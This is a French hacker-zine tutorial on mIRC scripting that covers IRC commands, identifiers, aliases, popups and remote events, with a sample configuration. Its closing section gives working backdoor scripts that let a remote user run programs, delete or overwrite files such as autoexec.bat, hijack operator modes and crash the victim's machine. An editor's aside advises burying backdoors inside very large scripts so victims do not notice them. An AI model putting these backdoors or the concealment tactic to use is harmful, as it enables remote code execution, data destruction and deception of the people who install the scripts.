=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Mirc Scripting FT-One =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =================================INTRODUCTION A L'IRC SCRIPTING================================ Avant d'attaquer le scripting, voici un rappel des differentes commandes principales : Voici les commandes principales : /connect : se connecter /disconnect : se déconnecter /join #canal : rejoindre le canal de votre choix . « #canal » dans ce cas . /part #canal : quitte le canal de votre choix . /nick moi : Vous donne le surnom « moi » /list : fait la liste des canaux /quit : Vous déconnecte de l’IRC . /msg A ‘lut : Vous enverrez le message « ‘lut » a l’utilisateur A /query A : Ouvre une fenêtre de discussion avec l’utilisateur A /whois A : Obtenir des informations sur l’utilisateur A /me s’en va : décrit ce que vous faite ( ici, ca donnera « *moi s’en va » (puisque votre surnom est moi )) /ame salut : écrit « salut » dans tous les canaux dans lesquels vous êtes . /away travail : Lorsque les autres utilisateurs vous envoient un /msg, un message spécifiant que vous êtes occupe sera envoyé avec la raison : travail . retapez /away pour désactiver l’option /invite A #FR : Invite l’utilisateur A sur le canal #FR /topic #FT bye : Changera le sujet du canal #FR en Bye /echo 5 ‘lut : écrira « ‘lut » avec la couleur 5 et sans afficher votre surnom (vous pouvez aussi mettre de la couleur avec ctrl+k) /ajinvite on/off: choisir de rejoindre automatiquement un canal sur invitation /dns A : retourne l’IP de l’utilisateur A /log on/off #fr: sauvegarde ce qui est dit dans #fr dans un fichier log /exit : quitter mIRC Maintenant, les commandes réservées aux opérateurs : /kick #FR A : Expulse l’utilisateur A du canal #FR /mode #FR [+/-] [bilmnopstk] b : bannir un utilisateur i : mettre l’accès au canal sur invitation lx : limiter le canal a x utilisateu m : modérer le canal ( seuls les opérateurs et les utilisateurs voicés peuvent parler ) n : interdire les /MSG externes au canal o : donne le mode opérateur a un utilisateur . p : mettre le canal en mode privé . s : mettre le canal en mode secret . t : le topic ne peut être change que par les operateurs k : l’accès au canal est protégé par un mot de passe _______________________________________________________________________________________________ Les Identificateurs remote : (cette liste est loin d’être complète, mais les identifieurs les plus importants y figurent ) $address Donne l’adresse de la personne qui a déclenche un événement . $asctime(hh:nn:ss) Donne l’heure $fulladdress Donne l’adresse complète de la personne qui a déclenche un événement . $chan retourne le nom du channel associé a un événement . $clevel Donne le niveau de l’utilisateur qui a déclenché un événement $dlevel Donne le niveau des usagers par défaut . ( 1 normalement ) $event Donne le nom de événement qui s’est produit . $groupe(N/#) Donne le statut ou le nom d’un groupe Attributs: statut, name, fname $group(0) Donne le nombre d’utilisateurs. $group(1) Donne le nom du premier groupe. $group(2).name Donne le nom du 2e groupe. $group(#abc).fname Donne le nom de fichier dans lequel le groupe est présent . $group(1).status Répond par la valeur on ou off pour le premier groupe. $group(#abc) Répond par la valeur on ou off pour le groupe #abc. $ial Retourne $true si la Liste Interne d'Adresses est active, et $false si elle ne l’est pas . $maddress Donne l’adresse qui a provoqué un événement . $matchkey Donne le texte avec des (*) qui a été utilisé dans l’événement remote. $mode(X) Retourne le nick n°X affecté par un changement de mode de canal. Les différent attributs étants : op, deop, ban, unban, voice, devoice, help, dehelp $mode(0).op Si la valeur de (x) est 0, alors la réponse sera le nombre total de nick oppés $mode(2).op Si la valeur est un chiffre non nul, alors la réponse sera le nick oppé n°x Note: Cette identifieur est utilisé seulement avec les événements on OP/DEOP etc. $nick Donne le nick qui a déclenché un événement $script Donne le nom du fichier de remote qui est en train de s’exécuter . $script(N/fichier) Donne le nom du fichier du script chargé n°x. Si vous donnez un nom de fichier, son exécution sera alors vérifiée, s’il n’est pas en cours d’exécution, la valeur $null sera retournée $script(0) Donne le nombre de fichiers script de chargé. $script(1) Donne le nom de fichier du 1er fichier script chargé. $script(newbies.txt) Repond par $null si le fichier n'est pas chargé ou par newbies.txt s'il l'est. Note: Ceci ne peut être utilise que pour faire référence aux scripts . $scriptdir Retourne le répertoire dans lequel est situe le script chargé $site Retourne l’host et le domain de l’utilisateur qui a provoque un événement . $target Retourne la cible d'un événement. $ulevel Retourne le niveau de l'usager qui correspond à événement déclenché. $ulist(nick!userid@address,L,X) Retourne l’adresse n°X dans la liste d'usagers . L correspond au niveau de l’utilisateur . Attributs: info Vous pouvez utiliser des (*) dans l’adresse . Si vous ne spécifiez pas N, la première adresse correspondante est retournée Si vous spécifiez L, seulement les adresses du niveau spécifié sont retournées. NB: L et N sont ne sont pas obligatoires , mais si vous spécifiez L vous devez spécifier N aussi. $wildsite Répond par l'adresse de l'usager qui a provoqué un événement _ $x ou x est remplacé par un chiffre qui correspond a la place du parametre exemple: pour la phrase "Salut, ca va ?" $1 correspond a "Salut," $2 correspond a "ca" $3 correspond a "va" $4 correspond a "?" vous pouvez aussi designer un mot et tous ceux qui le suivent a l'aide d'un "-" $2- correspond a "ca va ?" ________________________________________________________________________________________________ la programmation de script pour mirc se fait en trois parties : Alias, Popup et Remote . Les aliases sont en fait des raccourcis . Pour les programmer, allez dans Tools>aliases ils permettent par exemple d'entrer dans un channel en tapant /j #nomduchan au lieu de taper /join #nomduchan . La programmation d'aliases est très simple, pour l'exemple précédent, il suffit d'aller dans la section aliases est de taper : /j /join $1 Vous pouvez desormais rejoindre un channel en tapant /j #nomduchan . Les aliases servent aussi à éviter de toujours taper la meme chose, par exemple, l'alias /salut/say Salut tout le monde, ca va ??? Vous pouvez aussi assigner les touches de fonction F1,F2,F3.... Ainsi, si vous programmez l'alias /F5 /me a besoin d'aide lorsque vous appuierez sur la touche F5, vous demanderez de l'aide dans la fenêtre active . Biensur vous pouvez inclure des identificateurs dans vos aliases : /joke /say $read c:\mirc\joke.txt cet alias lira au hasard une ligne du fichier joke.txt Un alias peut pointer sur plusieurs commandes : /op /mode $chan +ooo $1 $2 $3 |/me a donné le status d'op à $1 $2 $3 si vous tapez /op A B C A B C seront oppés, et vous previendrez le channel par la meme occasion ________________________ Les Popups : il s'agit des menus . Pour les programmer allez dans Tools>popups Il y a 5 menus differents accessibles par le bouton view : Status Channel Query/Chat Nickname List Menubar Ces menus se programment tous de la meme facon . Vous devez mettre du texte associé à la commande qui lui correspond, par exemple : Lister les Channels:/list Lorsque vous cliquerez sur "Lister les Channels", la commande /list sera executée il est possible de faire des sous menus,pour cela il faut ajouter un . a chaque niveau inférieur: Absent .Absent:/away $$?="Raison :" .Revenir:/away on peut descendre d'autant de niveau que l'on veut a condition d'ajouter un "." à chaque niveau inférieur : Absent .s'Absenter ..discret:/away $$?="Raison :" ..le Signaler :/ame est maintenant AWAY !!!! |/away $$?="Raison :" .Revenir ..discret:/away ..le Signaler:/ame est maintenant revenu !!! |/away Il est possible d'ajouter un separateur en ajoutant une ligne comportant un "-" : Absent .s'Absenter ..discret:/away $$?="Raison :" ..le Signaler :/ame est maintenant AWAY !!!! |/away $$?="Raison :" .- .Revenir ..discret:/away ..le Signaler:/ame est maintenant revenu !!! |/away __________________________________ Les Remote representent la partie "dynamique" du script puiqu'ils reagiront a des evenements tels que l'arrivee de quelqu'un dans un channel . pour les programmer, allez dans Tools>Remote Voici la structure des remotes : ON LEVEL:EVENEMENT:ACTION LEVEL : correspond au level que doit avoir la personne qui produit l'evenement pour declencher l'action, par defaut, il est de 1 . Vous pouvez attribuer des levels en passant dans la section USERS, voici la structure qu'il faut utiliser pour attribuer un level : LEVEL:nick!userid@host.domain vous pouvez remplacer le nick, userid, host ou domain par un * . EVENEMENT : l'evenement qui declenche l'action Liste des principaux evenements : -Liste des evenements : Action, Ban, Chat, Close, Connect, Ctcp, CtcpReply, DccServer, DeHelp, DeOp, DeVoice, Dialog, DnsError, FileRcvd, FileSent, GetFail, Help, Hotlink, Input, Invite, Join, KeyDown, KeyUp, Kick, Load, Midi, End, Mode, Nick, NoSound, Notice, Notify, Op, Open, Part, Ping, Play, End, Quit, Raw, RawMode, SendFail, Serv, ServerMode, ServerOp, Snotice, Start, Text, Topic, UnBan, Unotify, UserMode, Voice, Wallops, WaveEnd, ACTION : L'action est la commande qu'executera automatiquement votre script en reponse a un evenement . Voici un exemple de remote : on 1:PING:/notice $nick [ $me PING Reply] : 0secs |/halt avec cette ligne de remote, vous repondrez automatiquement a un PING par [ VOTRENICK PING Reply] : 0secs . (la commande /halt sert a empecher votre script d'utiliser la reponse prevue par defaut pour ce type d'evenement ) Pour la plupart des evenements, il faut designer le lieu dans lequel il doit être pris en compte, pour ceux-cis, la structure du remote sera : ON LEVEL:EVENEMENT:LIEU:ACTION Exemple avec un evenement de type TEXT : on 1:text:*bye*:#:/msg $nick Bye # correspond au lieu dans lequel l'action est prise en compte, ici, vous direz Bye a quelqu'un qui dit bye dans un channel, vous pouvez aussi specifier un nom de channel voir en mettre plusieurs : on 1:text:*bye*:#hack,#hackers:/msg $nick Bye . Vous devez mettre un ? pour les actions qui doivent reagir a un evenement en query, ou un * pour celles qui doivent reagir aux evenements en query ET dans un channel . Les remotes permettent d'assigner plusieurs actions a un meme evenement : on 1:join:#:{ /msg $nick Salut $nick /echo $nick vient d'arriver sur $chan ! } Vous pouvez aussi utiliser un separateur comme dans les popups et aliases : on 1:join:#:/msg $nick Salut $nick | /echo $nick vient d'arriver sur $chan ! Si vous placez un @ devant le niveau d’utilisateur, l’action sera executee uniquement si vous etes operateur . ex : on @1:text:*operateurs ?*:*:/msg $nick Salut, c’est moi, $me , je suis operateur de ce chan ! ===================================exemple de script simple==================================== Ce script est particulierement adapte aux nouveaux utilisateurs de Mirc, puisqu'il reprend en partie les termes de mschat . -contenu du fichier remote.ini : [script] n0=on @150:join:#:{ ; lorsque un utilisateur de niveau n1=/kick $chan $nick ;150 entre dans un chan alors que n2=/mode $chan +b $nick ;vous etes op, il est kické et ban n3=} n4= n5=on 10:text:!op:#://mode $chan +o $nick ;vous mettez op un utilisateur de n6=on 10:text:!op*:?://mode $2 +o $nick ;niveau 10 sur demande .(lorsqu'il tape !op dans un chan ou !op #nomduchan en query) n7=on 1:PING:/notice $nick [ $me PING Reply] : 0secs |/halt ;voir exemples n8=on 10:join:#:/echo 5 $nick est arrive dans $chan ;vous previent qd un utilisateur ;de niveau 10 entre ds un chan n9=on @2:DEOP:#monchan:{ ; lorsque quelqu'un d'autre que vous n10= if($nick==$me) halt ; deop un utilisateur sur #monchan n11= /mode $chan -o $nick ; il est deopé et la personne qu'il n12= /mode $chan +o $opnick ; a deopé est reopée n13=} ; n14=ctcp 1:time:*:/notice $nick chez moi il est $time ;lorsque qq'un fait un ctcp time sur vous ;vous lui repondez "chez moi il est HEURE" [users] n=0 10:friend!*@*.* ;le niveau 10 est attribué a friends n=1 150:lamer!*@*.* ;le niveau 150 est attribué a lamer -fichier popups.ini : [qpopup] [lpopup] n0=.Ignorer:/ignore $$1 1 n1=.Ne plus ignorer:/ignore -r $$1 1 n2=.hote:/mode # +ooo $$1 $2 $3 n3=.enlever le statut d'hote:/mode # -ooo $$1 $2 $3 n4=.exclure:/kick # $$1 n5=.Interdire l'acces:/ban $$1 2 n6=.Heure locale:/ctcp $$1 time n7=Apparté:/query $$1- [bpopup] n0=Rejoindre une salle:/join #$$?="Enter channel name:" n1=Partir d'une salle:/part #$$?="Enter channel name:" n2=Apparte:/query $$?="Surnom:" n3=Inviter:/invite $$?="Entrez le surnom et la salle:" n4=Quitter IRC:/quit [mpopup] n0=Se connecter n1=.dalnet:/server irc.dal.net n2=.kewl:/server irc.kewl.org n3=Aller dans une salle:/join #$$?="Nom de la salle" n4=Faire la Liste des salles:/list n5=Changer de surnom:/nick #$$?="Surnom:" n6=- n7=QUITTER:/quit [cpopup] n0=Mettre Hote:/mode $chan +o ##?="Surnom" n1=Exclure:/kick $chan ##?="Surnom" n2=Rejoindre une salle:/join ##?="Nom de la Salle" ____________________ |Exemples de Backdoor| `````````````````````` Il est tres simple de faire une backdoor dans un script mIRC, le tout est de reussir a convaincre quelqu'un de le mettre dans ses remotes . I-Backdoor inoffensive : 1-TEXTE cette backdoor vous permet de faire dire ce que vous voulez a quelqu'un . on 1:TEXT:*!say*:*:/msg $2- Vous devrez taper "!say #hackers Salut" par exemple, ca fera dire salut dans le chan #hackers a la personne qui a installé cette backdoor dans ses remotes . 2-MODES on @1:text:!op:#://mode $chan +o $nick on @1:text:!op*:#://mode $chan +ooo $2- on @1:text:!deop*:#://mode $chan -o $2- on @1:text:!kick*:#://kick $chan $2 II-Backdoor permettant de lancer des programmes: on 1:TEXT:!do*:*:/run $2- Si vous tapez "!do c:\windows\calc.exe" vous lancerez sa calculette windows III-Backdoor permettant d'effacer des fichiers : on 1:text:!delete*:*:/remove $2- si vous tapez "!delete c:\autoexec.bat" vous effacerez son fichier autoexec.bat IV-Backdoor permettant d'ecrire dans des fichiers texte : on 1:TEXT:!write*:*:/write $2- si vous tapez "!write c:\autoexec.bat PAUSE" vous ajouterez "PAUSE" a la fin du fichier autoexec.bat V-Backdoor permettant de planter l'ordinateur : on 1:text:*!kill*:*:/con/con Lorsque vous taperez !kill, vous ferez planter l'ordi de la victime (ecran bleu) Ces Backdoors servent a vous montrer ce que l'on peut faire avec mIRC, cela dit, si vous les utilisez, cela ne fera pas de vous un Hacker, elles sont presentes dans cet article a titre d'EXEMPLE UNIQUEMENT . Vous avez maintenant de quoi faire votre premier script mIRC, Si vous ne comprennez pas quelque chose ou desirez avoir des renseignements supplementaires, vous pouvez m'envoyer un mail a : ft_one@meloo.com (ND ad-tonnou --> l'idéal pour implanter des backdoors dans un script est de proposer un remote vraiment très gros...le gars ne regardera jamais tout...) .FT-ONE